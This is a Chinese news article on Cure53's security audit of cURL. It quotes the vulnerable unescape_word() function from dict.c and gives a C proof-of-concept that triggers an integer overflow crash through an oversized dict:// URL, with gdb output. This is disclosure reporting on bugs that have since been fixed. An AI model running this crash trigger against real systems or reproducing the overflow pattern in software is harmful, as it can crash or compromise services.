安全专家对cURL进行了审计，发现了数十个安全问题，这些漏洞在最新的版本中已经被修复。

　　cURL想必大家都不陌生，它是一款开源的命令行工具和库，支持多种协议传输数据。cURL如今的应用还是比较广泛的，包括网络设备、打印机、智能手机，甚至是一些物联网设备比如汽车。

　　主动审计

　　前不久，cURL开发者、Mozilla员工Daniel Stenberg请Mozilla Secure Open Source(SOS)项目对cURL进行安全审计。

　　“我请Mozilla Secure Open Source项目进行了一次安全审计。这个项目是由Mozilla寻找第三方公司一起参与，并且最终买单完成的。参与审计的公司名为Cure53。” Stenberg在博客中写道。“我之所以申请审计是因为最近我感觉存在一些安全相关的问题，我觉得我们在安全方面可能有所欠缺，所以想让专家们检查一下。”

　　Cure53的5名专家对cURL进行了为期20天的审计，发现了总共23个安全问题。

　　审计结果

　　这些安全问题中，有9个是安全漏洞。专家融合了其中2个安全漏洞——其中一个被归类为“plain bug”，因为要在实际攻击场景进行利用会很困难。另外，审计发现了4个高危漏洞和4个中危漏洞。

　　高危漏洞的漏洞编号为CVE-2016-8617, CVE-2016-8619, CVE-2016-8622和CVE-2016-8623。这些都是远程执行漏洞。

　　比如说下面这个漏洞：

　　CRL-01-014 unescape_word()整型溢出造成负数数组索引(高危)

　　dict.c中的unescape_word()函数中存在以下代码：

　　static char *unescape_word(struct Curl_easy *data, const char *inputbuff) { char *newp; char *dictp; char *ptr; int len; char ch; int olen=0; newp = curl_easy_unescape(data, inputbuff, 0, &len); if(!newp) return NULL; dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */ if(dictp) { /* According to RFC2229 section 2.2, these letters need to be escaped with \[letter] */ for(ptr = newp; (ch = *ptr) != 0; ptr++) { if((ch <= 32) || (ch == 127) || (ch == '\'') || (ch == '\"') || (ch == '\\')) { dictp[olen++] = '\\'; } dictp[olen++] = ch; } dictp[olen]=0; } free(newp); return dictp; }

　　很明显，len要比pow(2,31)小，但是输出可以拓展至两倍大小，也就是说当olen的值是INT_MAX时，可以被增加。这就会导致有符号整型溢出。

　　由于olen一直被用作数组索引，负的数组索引就会指向未分配的内存。

　　要验证漏洞，可以在6GB以上空闲内存的64位电脑上运行下面的代码。这个测试会获取一个超过1GB长的dict:// URL。

　　#include #include #include #include #include int main(int argc, char *argv[]) { char *dicturl = malloc(23 + (1ULL<<30) + 5 + 1); if (!dicturl) errx(1, "malloc"); strcpy(dicturl, "dict://localhost/MATCH:"); memset(dicturl + 23, '\"', (1ULL<<30) + 5); dicturl[23 + (1ULL<<30) + 5] = '\0'; CURL *hnd = curl_easy_init(); curl_easy_setopt(hnd, CURLOPT_URL, dicturl); free(dicturl); curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L); CURLcode ret = curl_easy_perform(hnd); curl_easy_cleanup(hnd); return (int)ret; }

　　运行会导致如下的崩溃信息：

　　$ gdb ./negative_dict_url [...] (gdb) run Starting program: [...] [...] Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7b6975b in unescape_word (data=0x63a0b0, inputbuff=0x7fffb0fca017 '\"' ...) at dict.c:116 116 dictp[olen++] = '\\'; (gdb) x/1i $pc => 0x7ffff7b6975b : mov (gdb) print/x $rax $1 = 0x7ffdf0dba010 (gdb) print/x dictp $2 = 0x7ffe70dba010 (gdb) print olen $3 = -2147483647

　　但实际上，审计报告提到，cURL库的整体安全性和鲁棒性都很好。

　　也请大家不要担心，新版本的cURL已经上线了，7.51.0版本修复了总共11个漏洞，其中7个是由Cure53的审计团队发现的，其他的漏洞是由Luật Nguyễn、Christian Heimes和Fernando Muñoz提交的。

　　Stenberg指出，cURL是一个非常常用的软件，因此，审计对用户来说具有重大意义。

　　“由于curl是世界上最常用的软件，因此curl如果出现了问题可能对各种工具、设备、应用造成重大影响。我们不希望发生那样的事。”

　　责任编辑：DJ编辑